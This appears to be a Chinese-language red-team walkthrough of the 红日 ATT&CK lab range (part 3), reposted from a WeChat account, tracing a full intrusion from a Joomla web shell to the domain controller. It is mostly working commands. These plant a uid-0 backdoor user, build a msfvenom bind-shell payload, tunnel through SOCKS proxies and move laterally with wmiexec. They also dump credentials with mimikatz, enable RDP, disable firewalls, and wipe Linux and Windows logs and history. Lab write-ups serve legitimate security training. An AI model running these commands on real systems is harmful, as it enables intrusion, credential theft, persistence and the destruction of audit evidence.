0、靶场介绍
ATT&CK实战系列—红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。拓扑图如下:
靶场配置如下:
1、信息收集
- 指纹信息
- 端口服务
- 目录信息
- 信息汇总
2、漏洞分析
2.1 漏洞挖掘
漏洞挖掘点:端口爆破、后台爆破、joomla 3.9.12 CMS版本漏洞
1、爆破ssh 、mysql 服务端口
2、爆破joomla 后台账号密码:使用爆破工具https://github.com/TheKingOfDuck/JoomlaCracker
或者使用:msf 爆破模块。
3、joomla 3.9.12 CMS漏洞(利用条件:需要账号密码)
(CVE-2020-10238)Joomla <= v3.9.15 远程命令执行漏洞
(CVE-2020-10239)Joomla < v3.9.15 远程命令执行漏洞
(CVE-2020-11890)Joomla < v3.9.15 远程命令执行漏洞
(CVE-2021-23132)Joomla后台代码执行漏洞 3.9.0<Joomla≤3.9.24
2.2 漏洞扫描
使用漏洞工具扫描 https://github.com/OWASP/joomscan
2.3 漏洞验证
通过爆破和信息泄露获取了mysql 的账号密码,验证是否可以登录
使用官方文档恢复或重置管理员密码。添加一个账号:
MySQL [joomla]> INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.040 sec)
MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
Query OK, 1 row affected (0.038 sec)
创建后,登录成功:
3、漏洞利用
3.1 Joomala Getshell
利用Joomla < v3.9.15 远程命令执行漏洞getshell
访问extensions-templates-templates-beez3,然后new file-新建文件test.php
然后写入一句话:
使用蚁剑连接 http://192.168.1.138/templates/beez3/test.php
由于站点开启了disable_functions,使用蚁剑内置插件绕过限制。
插件下载:https://github.com/AntSword-Store
3.2 主机信息收集
1、获取内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
cat /etc/*-release 发布信息
cat /proc/version 内核信息
2、用户和组
cat /etc/passwd 列出系统所有用户
cat /etc/group 列出系统所有组
cat /etc/shadow 列出所有用户hash(需要root权限)
finger、finger user 当前登录的用户、查询用户的基本信息
3、用户和权限信息
cat /etc/sudoers
可以使用sudo提升到root的用户(需要root权限)
sudo -l
列出目前用户可执行与无法执行的指令
4、环境信息
env 或 set 打印系统环境信息
echo $PATH 环境变量中的路径信息
history 打印历史命令
cat /etc/profile 显示默认系统遍历
cat /etc/shells 显示可用的shell
5、有用的命令
find / -perm -4000 -type f 查找SUID的文件
find / -uid 0 -perm -4000 -type f 查找root权限的SUID文件
find / -perm -2 -type f 找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件
find / -perm -2 -type d 找出可写目录
6、服务信息
ps aux 查看进程信息
cat /etc/inetd.conf 由inetd管理的服务列表
cat /etc/xinetd.conf 由xinetd管理的服务列表
cat /etc/exports nfs服务器的配置
7、作业和任务
crontab -l -u %username% 显示指定用户的计划作业(需要root权限)
ls -la /etc/cron* 计划任务
top 列出当前进程
8、网络、路由和通信
/sbin/ifconfig -a 列出网络接口信息
cat /etc/network/interfaces 列出网络接口信息
arp -a 查看系统arp表
route 打印如有信息
netstat -an 打印本地端口开放信息
iptables -L 列出iptable的配置规则
cat /etc/services 查看端口服务映射
9、软件信息
dpkg -l 软件安装(Debian)
rpm -qa 软件安装(Red Hat)
sudo -V 查看sudo的版本信息
3.3 敏感信息收集
4、权限提升
4.1 脏牛提权
将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权。
exp 下载地址:
https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
./dirty passwd
- 未成功
5、权限维持
5.1 添加 root 后门
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=54321 -f elf > 129.elf
6、横向渗透
6.1 搭建 socks5 代理
- 使用ssh 搭建一个socks5 代理
ssh -CNfg -D 127.0.0.1:7777 [email protected]
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址
构建ssh隧道的常用参数:
-C 压缩传输,提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发,即SOCKS代理
-p 指定ssh连接端口
- 使用 chisel 搭建socks5
服务端:
./chisel_linux64 server -p 2080 --socks5
攻击端:
./chisel_linux64 client 192.168.1.138:2080 socks
6.2 内网主机探测
- 使用PING 命令行
for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
- msf--smb_version
auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1/24
set threads 20
6.3 端口探测
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.10
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.20
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.30
6.4 漏洞扫描
- ms17-010 、CVE-2019-0708 漏洞扫描 -- 无漏洞
- 弱口令爆破 -- mssql 、smb
6.5 域内横向--域成员
使用爆破到的账号密码进行渗透
- 使用 wmi 获取域成员主机权限
proxychains4 wmiexec.py 'administrator:[email protected]'
proxychains4 wmiexec.py 'administrator:[email protected]'
- 上传 mimikatz 获取账号密码
proxychains4 smbclient //192.168.93.20/C$ -U administrator -P 123qwe!ASD
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
- 开启3389,关闭防火墙,登录域成员
#设置远程桌面端口
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"
关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
6.6 域内横向--域控
proxychains4 wmiexec.py 'TEST.ORG/Administrator:[email protected]'
- 开启3389,关闭防火墙
#设置远程桌面端口
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
开启3389
Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"
关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
6.7 拿到 FLAG
7、痕迹清理
7.1 Linux
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
7.2 windows
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:UsersAdministratorRecent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%Recent*.*
原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论